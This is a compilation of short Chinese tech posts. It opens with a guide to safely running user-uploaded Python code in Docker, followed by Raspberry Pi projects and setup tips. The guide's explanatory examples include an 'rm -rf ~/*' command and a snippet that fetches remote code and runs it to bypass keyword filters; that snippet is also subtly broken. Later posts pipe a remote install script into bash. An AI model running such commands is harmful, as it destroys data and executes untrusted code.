如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      树莓派Zero做的电子墨水名片

      “你好,我的名字是……”

      人们参加沙龙或者酒会的时候,经常要对别人口述自己的名字和职业。

      如果可以用电子墨水,以像素化的形式显示他们的名字和脸时,相信能节约很多时间。

      创客Josh King做的这个PiE-Ink电子墨水名片,就很有意思。

      在他的Instructables教程中,他解释了完整的方法。

      乔什·金电子墨水名牌树莓派

      对于徽章,Josh使用了Raspberry Pi Zero,PaPiRus 2“电子墨水HATAdafruit Powerboost 1000c和LiPo电池。他还用到了其它配件,例如磁铁和粘土。

      Josh把树莓派Zero和Powerboost通过焊接连在一起,并允许LiPo电池为设备供电。

      乔什·金电子墨水名牌树莓派

      然后,他连接PaPiRus HAT并用粘土固定整个装置,以确保紧密贴合。他还加了一个迷你滑动开关。

      乔什·金电子墨水名牌树莓派

      在SD卡上预装Raspbian后,Josh遵循PaPiRus的设置,确保所有库文件都装好,并且让树莓派识别2英寸屏幕。

      然后下载代码,运行……

      注:你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

      乔什·金电子墨水名牌树莓派

      有了它,你就可以在各种活动和会议上让大家快速认识你了。

      如果你想用树莓派Pico做电子墨水名片的话看这里:

      https://mp.weixin.qq.com/s/Nip6ZB60et0xujLQgNRldw

      树莓派能跑Stable Diffusion了

      Stable Diffusion是一种文本到图像生成的大型深度学习模型,它可以根据文本的描述生成详细的图像,也可以用于其他任务,如图像修复、图像扩展、图像翻译等。

      它是基于潜在扩散模型(Latent Diffusion Model)的一种变体,通过对图像添加和去除噪声来训练和生成图像。

      该模型由Stability AI和LAION联合开发,目前是一个开源的AI平台,有很多用户和开发者贡献了不同的预训练模型和插件。

      一般情况下,跑Stable Diffusion需要的配置:最好是有英伟达(Nvidia)的独立显卡,显存不少于4GB,推荐8GB以上;内存8GB以上,推荐16GB或以上;硬盘40GB以上的可用空间,最好是固态硬盘;操作系统支持Windows 10/11,macOS(仅限Apple Silicon或更新版本),Linux等。

      但最近有人在树莓派Zero 2上运行Stable Diffusion了,而树莓派 Zero 2 只是内存512MB 的单板计算机。

      它的配置和规格如下:

      • 处理器:Broadcom BCM2710A1,四核64位SoC(Arm Cortex-A53 @ 1GHz)
      • 内存:512MB LPDDR2
      • 连接性:2.4GHz IEEE 802.11b/g/n无线局域网,蓝牙4.2,BLE,带天线的屏蔽罩
      • 接口:1 × USB 2.0 OTG接口
      • HAT兼容的40针I/O头插座(未焊接)
      • microSD卡插槽
      • Mini HDMI端口
      • CSI-2摄像头连接器
      • 视频:HDMI接口
      • 复合的视频和复位引脚焊点
      • 多媒体:H.264, MPEG-4解码(1080p30)
      • H.264编码(1080p30)
      • OpenGL ES 1.1, 2.0图形
      • 输入电源:5V DC 2.5A
      • 工作温度:-20°C to +70°C

      Raspberry Pi Zero 2 W的尺寸是65mm × 30mm,与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。

      为了让更多低配置的计算机也能用Stable Diffusion出图。

      一个名为vitoplantamura的开发者决定写一个超小的推理库,让260MB内存的单板机也能将Stable Diffusion跑起来。终于,他成功了。

      他用C++开发的OnnxStream,是一个能够在低内存设备上运行 Stable Diffusion 的推理库,它通过分离推理引擎和权重提供器,以及量化等技术,完成了在树莓派 Zero 2 上生成图像的挑战。

      与微软的OnnxStream 相比,vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果,但(在 CPU 上的)速度只比前者慢 0.5-2 倍。

      虽然运行速度较慢,但它却是大模型在更小、更有限的设备上部署的崭新尝试。

      相关源码:

      https://github.com/vitoplantamura/OnnxStream

      flutter包在内地安装不了怎么办?

      一般我们在flutter pub get安装包的时候,经常会遇到如下错误。

      Got socket error trying to find package coverage at http://pub.dartlang.org.

      或者

      Got socket error trying to find package flame at https://pub.dev.

      你打开浏览器访问pub.dev的时候,又可以正常访问。

      这个咋解决呢?

      如果你是Windows用户,你可以在Powershell的界面下运行:

      setx PUB_HOSTED_URL “https://mirrors.cloud.tencent.com/dart-pub”
      setx FLUTTER_STORAGE_BASE_URL “https://mirrors.cloud.tencent.com/flutter”

      这两条命令。

      如果你是Mac用户,你可以在命令行下运行:

      $ export PUB_HOSTED_URL=https://mirrors.cloud.tencent.com/dart-pub
      $ export FLUTTER_STORAGE_BASE_URL=https://mirrors.cloud.tencent.com/flutter

      之前有教程说改成这样:

      setx PUB_HOSTED_URL “https://pub.flutter-io.cn”
      setx FLUTTER_STORAGE_BASE_URL “https://storage.flutter-io.cn”

      但实际操作是无效的,现在还不知道怎么回事。

      用Pi-Timolo和树莓派做一个夜视摄像头

      安德鲁·格雷戈里 (Andrew Gregory) 发现,后花园的狗经常深夜叫唤。

      于是他用树莓派做了一个夜间摄像头,来拍下那个不断引发狗叫的神秘访客。

      要放在室外,少不了一个防雨且有一定强度的容器,这里他用到了几块厚木板。

      市场上有一系列适用于 Raspberry Pi 的摄像头,比如:Pi Camera Module 3、Raspberry Pi Global Shutter Camera、Raspberry Pi High Quality Camera 和各种热敏模块。

      但当访客在夜间到来,最好用的是 Pimoroni 等厂商提供的夜视摄像头。

      关于树莓派的选择,作者用到了Raspberry Pi Zero W,比较轻便,兼容性也很好。

      这个摄像头设在后花园,距离足够近,可以通过家庭 Wi-Fi 网络即可获取视频流。

      但作者不想拉电源线,所以需要电池供电。

      事后看来,最好是选择 USB 电池组——这种电池组可以即插即用到任何设备,并具有一定程度的保护作用。

      作者选择了 1200mAh,3.7 V LiPo 电池,它裸露且易碎,无法直接连接到 Raspberry Pi Zero W。所以需要给 Raspberry Pi Zero 添加一个 LiPo SHIM(这需要一些焊接)。

      本文提到的树莓派电池连接板,相关地址:

      把供电模块、摄像头、树莓派都接好后的状态,差不多是这样。

      装好系统,通电联网,登录系统执行如下命令进行测试:

      raspistill -v -o test.jpg

      如果一切顺利,你会看到一个图像在屏幕上闪了一两秒钟,然后颜色会变暗。那是因为夜视摄像头模块使用红外线(大多数摄像头模块会过滤掉这层光谱)。

      作者在这里使用的软件包为 Pi-Timolo(Raspberry Pi Time、Motion 和 Low light),由 Claude Pageau 开发。 

      可以执行如下命令安装(最好是update系统以后):

      curl -L https://raw.github.com/pageauc/pi-timolo/master/source/pi-timolo-install.sh | bash

      然后到一个设置界面,自行操作即可。

      不过与 Raspberry Pi Camera Module 3 的 12MP 相比,夜视摄像头上的 5MP 传感器还是有些很小,因此作者很想找到一些红外 LED 并制作自己的摄像头模块。

      来自:HackSpace 第 66 期

      树莓派+电子墨水屏+Spotify = 实时播歌

      Spotify是一个流行的流媒体服务,允许用户收听音乐、播客和有声读物。作为一个开发者,你可以使用Spotify Web API来访问Spotify的音乐目录和用户数据,并将Spotify的功能整合到你自己的应用程序中。

      如何用树莓派和5.7英寸的电子墨水屏创建一个电子相框,来实时显示你在Spotify上听的歌曲封面?说实话,这个让我想起了以前实时显示歌曲封面的CD机。

      操作步骤:

      首先你要有一个Spotify的开发者账号,注册地址:

      https://developer.spotify.com/

      在仪表盘中编辑应用程序的设置。比如:

      http://localhost/redirect

      设置完成后,登录树莓派。

      运行“raspi-config”命令,找到“Interface Options”,把SPI和I2C设置为可用。 

      下载以下文件,并在树莓派上执行。最后根据提示,填写你的Spotify账号和API信息即可。

      wget https://raw.githubusercontent.com/ryanwa18/spotipi-eink/main/setup.sh
      chmod +x setup.sh
      bash setup.sh

      相关配件:

      Raspberry Pi Zero 2
      Inky Impression 5.7

      关于外壳的3D打印文件:

      https://cults3d.com/en/3d-model/gadget/spotipi-e-ink-inky-impression-5-7-case

      相关视频地址:

      https://mp.weixin.qq.com/s/tMx-RSDyAZZMUo04oYRRqw

      远程连接AVH的主机

      这里的AVH是指Arm Virtual Hardware,可以在线访问的虚拟开发板。

      AVH支持两种模式远程登录内网的主机。

      一是OpenVPN,下载配置文件导入即可。

      二是SSH,添加密钥后即可。

      OpenVPN的比较傻瓜,这里就不赘述了。

      SSH的话,可以用以下命令:
      ssh -J c9922a0f-edcb-486d-b84f-9508262abeb1@proxy.app.avh.arm.com pi@10.11.0.1

      你也可以使用~/.ssh/config提前配置好跳转主机。

      容器化构建聆思科技CSK6开发编译环境

      聆思科技发布的新一代AI芯片CSK6,集成了安谋科技星辰“STAR-MC1”处理器。

      采用 NPU+DSP+MCU 三核异构技术,算力达到 128 GOPS。使芯片能以较低功耗满足音频及图像视频的 AI 应用需求。

      同时他们也发布了一个基于开发板的解决方案,并提供了相关工具和例程。

      为了方便大家调试、编译聆思科技CSK6开发板,我在这里构建了一个容器化编译环境。一条命令拉取即可开始编译工作。

      docker run -it verdureorange/listenai:latest

      里面自带的Lisa工具,以及相关例程均来自聆思科技官方网站。

      VERSION:

      @listenai/lisa/2.4.5 linux-x64 node-v16.14.0

      如果你正在使用聆思科技的CSK6开发板,又懒的自己配环境,可以用它试试。

      教学视频:

      容器化构建聆思科技CSK6开发编译环境_哔哩哔哩_bilibili

      镜像:

      https://hub.docker.com/r/verdureorange/listenai

      相关文章:
      带NPU和DSP的聆思科技MCU来了
      https://aijishu.com/a/1060000…

      有问题和意见可以联络:Medivh

      邮箱:verdureorange@gmail.com

      国内安装Ubuntu server速度慢的解决方法

      在本地的 vmware 虚拟机管理系统中 安装 Ubuntu 20.x 时,发现全新系统安装的特别慢。一直卡在 installing kernel /  这个页面。

      通过日志排查发现 在安装之前 系统源虽然自动切换到  http://cn.archive.ubuntu.com/ubuntu/ 这个官方系统源地址,但这个地址的数据服务器其实是在 美国数据中心,导致我们系统一直无法进行相关文件的下载。

      解决方法:

      将官方安装源:

      http://cn.archive.ubuntu.com/ubuntu/ 

      替换成 阿里云

      http://mirrors.aliyun.com/ubuntu/

      这样就可以很好的解决了 系统一直卡在安装界面中, 另外系统安装完成后,你更新 系统 以及 安装 各种组件时 都会默认使用 阿里云的镜像进行下载,而不会在通过 Ubuntu 官方的美国机器。

      如何使用Python自带编辑器IDLE

      IDLE的调试方法:
      1.设置断点:在Python编辑器中要调试的代码行右击->Set Breakpoint,之后该行底色就变黄了
      2.打开debugger:Python Shell->Debug->Debugger
      3.编辑窗口按F5
      4.debug过程略
      Go表示运行完相当于eclipse的F8,不过按F5后先要go一下才能往下走,默认是不运行的
      Step表示一步一步相当于eclipse的F5
      Over表示跳过函数方法相当于eclipse的F6
      Out表示跳出本函数相当于eclipse的F7


      IDLE编辑器快捷键

      自动补全代码 Alt+/(查找编辑器内已经写过的代码来补全)
      补全提示 Ctrl+Shift+space(默认与输入法冲突,修改之)
      (方法:Options->configure IDLE…->Keys-> force-open-completions
      提示的时候只要按空格就出来对于的,否则翻上下键不需要按其他键自动就补全了)
      后退 Ctrl+Z
      重做 Ctrl+Shift+Z
      加缩进 Ctrl+]
      减缩进 Ctrl+[
      加注释 Alt+3
      去注释 Alt+4

      Python Shell快捷键
      自动补全同上
      上一条命令 Alt+P
      下一条命令 Alt+N